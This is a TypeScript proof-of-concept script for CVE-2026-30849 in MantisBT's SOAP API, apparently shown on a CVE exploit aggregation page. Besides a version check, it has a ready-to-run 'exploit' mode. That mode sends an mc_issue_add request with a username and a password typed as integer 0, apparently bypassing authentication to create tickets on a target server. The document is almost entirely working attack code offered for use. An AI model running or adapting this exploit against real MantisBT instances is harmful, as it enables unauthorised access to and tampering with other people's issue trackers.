5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2026-30849.ts TS
import {spawnSync} from "node:child_process";

const PATCH_VERSION = "2.28.1";

type Command = "check" | "exploit";

function printUsage(): void {
    console.log(
        [
            "Usage:",
            "  ts-node CVE-2026-30849.ts check --url <base-url>",
            "  ts-node CVE-2026-30849.ts exploit --url <base-url>",
            "",
            "Examples:",
            "  ts-node CVE-2026-30849.ts check --url http://mantis.local",
            "  ts-node CVE-2026-30849.ts exploit --url http://mantis.local",
            "",
        ].join("\n"),
    );
}

function parseArgs(argv: string[]): { command: Command; url: string } | null {
    const [commandRaw, ...rest] = argv;
    if (commandRaw !== "check" && commandRaw !== "exploit") {
        return null;
    }

    let url = "";
    for (let i = 0; i < rest.length; i++) {
        if (rest[i] === "--url") {
            url = rest[i + 1] ?? "";
            i++;
        }
    }

    if (!url) {
        return null;
    }

    return {command: commandRaw, url};
}

function normalizeEndpoint(input: string): string {
    return `${input.trim().replace(/\/+$/, "")}/api/soap/mantisconnect.php`;
}

function soapVersionRequest(): string {
    return `<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <mc_version/>
  </soapenv:Body>
</soapenv:Envelope>`;
}

function soapExploitRequest(): string {
    return `<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope
  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
  xmlns:man="http://futureware.biz/mantisconnect"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soapenv:Body>
    <man:mc_issue_add>
      <username xsi:type="xsd:string">FLS</username>
      <password xsi:type="xsd:int">0</password>
      <issue xsi:type="man:IssueData">
        <summary xsi:type="xsd:string">Incident API SOAP</summary>
        <description xsi:type="xsd:string">Création d'un ticket via mc_issue_add</description>
        <project xsi:type="man:ProjectData">
          <id xsi:type="xsd:integer">7</id>
        </project>
        <category xsi:type="man:ObjectRef">
          <id xsi:type="xsd:integer">2319</id>
        </category>
        <priority xsi:type="man:ObjectRef">
          <name xsi:type="xsd:string">high</name>
        </priority>
        <severity xsi:type="man:ObjectRef">
          <name xsi:type="xsd:string">major</name>
        </severity>
        <reproducibility xsi:type="man:ObjectRef">
          <name xsi:type="xsd:string">always</name>
        </reproducibility>
        <handler xsi:type="man:AccountData">
          <id xsi:type="xsd:integer">168</id>
          <name xsi:type="xsd:string">KLR</name>
        </handler>
        <custom_fields xsi:type="man:ArrayOfCustomFieldValueForIssueData">
          <item xsi:type="man:CustomFieldValueForIssueData">
            <field xsi:type="man:ObjectRef">
              <name xsi:type="xsd:string">Type d'action</name>
            </field>
            <value xsi:type="xsd:string">Exploitation</value>
          </item>
        </custom_fields>
      </issue>
    </man:mc_issue_add>
  </soapenv:Body>
</soapenv:Envelope>`;
}

function callMcVersion(endpoint: string): string {
    const curl = spawnSync(
        "curl",
        [
            "-i",
            endpoint,
            "-X",
            "POST",
            "-H",
            "Content-Type: text/xml; charset=utf-8",
            "--data-binary",
            "@-",
        ],
        {
            encoding: "utf8",
            input: soapVersionRequest(),
            stdio: ["pipe", "pipe", "pipe"],
            windowsHide: true,
        },
    );

    if (curl.error) {
        throw new Error(`curl execution failed: ${curl.error.message}`);
    }
    if (curl.status !== 0) {
        const stderr = (curl.stderr ?? "").trim();
        const stdout = (curl.stdout ?? "").trim();
        throw new Error(
            `curl exited with code ${curl.status}. ${stderr || stdout || "No error output."}`,
        );
    }

    const output = `${curl.stdout ?? ""}\n${curl.stderr ?? ""}`.trim();
    if (!output) {
        throw new Error("No output returned by curl.");
    }
    return output;
}

function callExploit(endpoint: string): string {
    const curl = spawnSync(
        "curl",
        [
            "-sS",
            endpoint,
            "-X",
            "POST",
            "-H",
            "Content-Type: text/xml; charset=utf-8",
            "-H",
            "SOAPAction: \"\"",
            "--data-binary",
            "@-",
        ],
        {
            encoding: "utf8",
            input: soapExploitRequest(),
            stdio: ["pipe", "pipe", "pipe"],
            windowsHide: true,
        },
    );

    if (curl.error) {
        throw new Error(`curl execution failed: ${curl.error.message}`);
    }
    if (curl.status !== 0) {
        const stderr = (curl.stderr ?? "").trim();
        const stdout = (curl.stdout ?? "").trim();
        throw new Error(
            `curl exited with code ${curl.status}. ${stderr || stdout || "No error output."}`,
        );
    }

    const output = `${curl.stdout ?? ""}\n${curl.stderr ?? ""}`.trim();
    if (!output) {
        throw new Error("No output returned by curl.");
    }
    return output;
}

function extractVersion(response: string): string | null {
    const returnMatch = response.match(/<return(?:\s+[^>]*)?>([^<]+)<\/return>/i);
    if (returnMatch?.[1]) {
        return returnMatch[1].trim();
    }

    const faultMatch = response.match(/<faultstring>([^<]+)<\/faultstring>/i);
    if (faultMatch?.[1]) {
        throw new Error(`SOAP fault: ${faultMatch[1].trim()}`);
    }

    return null;
}

function parseVersion(version: string): number[] {
    return version
        .split(".")
        .map((part) => Number.parseInt(part, 10))
        .map((n) => (Number.isNaN(n) ? 0 : n));
}

function compareVersions(a: string, b: string): number {
    const av = parseVersion(a);
    const bv = parseVersion(b);
    const max = Math.max(av.length, bv.length);

    for (let i = 0; i < max; i++) {
        const left = av[i] ?? 0;
        const right = bv[i] ?? 0;
        if (left > right) return 1;
        if (left < right) return -1;
    }
    return 0;
}

function runCheck(rawUrl: string): void {
    const endpoint = normalizeEndpoint(rawUrl);
    const response = callMcVersion(endpoint);
    const version = extractVersion(response);

    if (!version) {
        console.log("Version: not found in SOAP response");
        console.log("Unable to determine vulnerability status");
        process.exitCode = 2;
        return;
    }

    console.log(`Detected MantisBT version: ${version}`);
    console.log(`Patched version: ${PATCH_VERSION}`);

    if (compareVersions(version, PATCH_VERSION) < 0) {
        console.log("VULNERABLE");
        return;
    }

    console.log("NOT VULNERABLE");
}

function runExploit(rawUrl: string): void {
    const endpoint = normalizeEndpoint(rawUrl);
    const response = callExploit(endpoint);

    console.log("Exploit succeed");
    console.log(response)
}

function main(): void {
    const parsed = parseArgs(process.argv.slice(2));
    if (!parsed) {
        printUsage();
        process.exitCode = 1;
        return;
    }

    try {
        if (parsed.command === "check") {
            runCheck(parsed.url);
        } else {
            runExploit(parsed.url);
        }
    } catch (error) {
        const message = error instanceof Error ? error.message : String(error);
        console.error(`Error: ${message}`);
        process.exitCode = 2;
    }
}


main();